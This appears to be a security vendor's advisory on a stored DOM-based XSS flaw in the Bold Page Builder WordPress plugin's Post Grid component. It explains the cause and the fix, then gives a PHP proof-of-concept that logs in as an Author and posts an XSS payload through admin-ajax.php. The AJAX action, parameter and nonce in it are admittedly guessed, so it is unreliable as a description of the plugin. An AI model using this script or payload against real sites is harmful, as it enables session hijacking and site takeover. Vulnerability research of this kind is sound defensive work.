Atomic Edge analysis of CVE-2025-13463 (metadata-based):
This vulnerability is an authenticated stored DOM-based cross-site scripting (XSS) flaw in the Bold Page Builder WordPress plugin. The vulnerability affects the Post Grid component in versions up to and including 5.5.3. Attackers with Author-level privileges or higher can inject arbitrary JavaScript into pages built with the plugin. The injected scripts execute whenever a user visits the compromised page. The CVSS score of 6.4 (Medium severity) reflects the network accessibility, low attack complexity, and requirement for low-privilege authentication, with scope change and confidentiality/integrity impacts.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping, as classified under CWE-79. The vulnerability description explicitly states this combination of failures. Without access to the source code diff, we infer the plugin likely fails to properly sanitize user-controlled input before storing it in the database, and also fails to escape that data when outputting it to the page’s Document Object Model (DOM). This creates a classic stored DOM-XSS condition where malicious scripts persist in the database and execute during page rendering.
The exploitation method requires an authenticated attacker with at least Author-level WordPress capabilities. The attacker would edit or create a page using the Bold Page Builder plugin, add a Post Grid component, and inject malicious JavaScript into a vulnerable parameter. The payload would be saved with the page content. When any user (including unauthenticated visitors) views the compromised page, the script executes in their browser context. Based on WordPress plugin patterns, the injection likely occurs via an AJAX request to `/wp-admin/admin-ajax.php` with an action parameter containing `bold-page-builder` or a similar plugin-specific prefix, targeting parameters that control Post Grid content or attributes.
Remediation requires implementing proper input validation and output escaping. The plugin should validate all user input against a strict allowlist of expected values for the Post Grid component. It must also apply context-appropriate output escaping, likely using WordPress functions like `esc_js()`, `esc_attr()`, or `wp_kses()` before inserting data into the DOM. For DOM-based XSS specifically, the fix must ensure any dynamic content written to the DOM via JavaScript methods like `innerHTML` or `document.write()` is properly sanitized on the client side.
The impact of successful exploitation includes session hijacking, unauthorized actions performed on behalf of victims, defacement of website content, and theft of sensitive data from user browsers. Author-level attackers could escalate privileges by targeting administrator sessions, potentially gaining full control of the WordPress site. The stored nature means a single injection affects all subsequent visitors until the malicious content is removed, creating widespread and persistent compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13463 - Bold Page Builder <= 5.5.3 - Authenticated (Author+) Stored DOM-based Cross-Site Scripting in Post Grid
<?php
/**
* Proof of Concept for CVE-2025-13463
* Assumptions based on vulnerability description and WordPress patterns:
* 1. The plugin uses WordPress AJAX handlers for saving page builder content.
* 2. The vulnerable parameter is part of the Post Grid component configuration.
* 3. The attack requires Author-level WordPress credentials.
* 4. The payload is stored in the database and executes on page view.
*/
$target_url = 'https://example.com';
$username = 'author_user';
$password = 'author_pass';
// Payload: Basic XSS to demonstrate vulnerability
$payload = '<img src=x onerror=alert(document.domain)>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for admin dashboard indicators
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Simulate AJAX request to save page with malicious Post Grid content
// Note: The exact AJAX action and parameter names are inferred from plugin patterns
$ajax_data = [
'action' => 'bold_page_builder_save', // Inferred AJAX action
'post_id' => 1, // Target page ID
'nonce' => 'inferred_nonce_value', // Would need valid nonce in real exploit
'content' => json_encode([
'components' => [
[
'type' => 'post_grid',
'settings' => [
'vulnerable_param' => $payload // Injected XSS payload
]
]
]
])
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
$ajax_response = curl_exec($ch);
// Check if the save operation appeared successful
if (strpos($ajax_response, 'success') !== false) {
echo 'Payload injected. Visit page ID ' . $ajax_data['post_id'] . ' to trigger XSS.';
} else {
echo 'Injection may have failed. AJAX response: ' . $ajax_response;
}
curl_close($ch);
?>
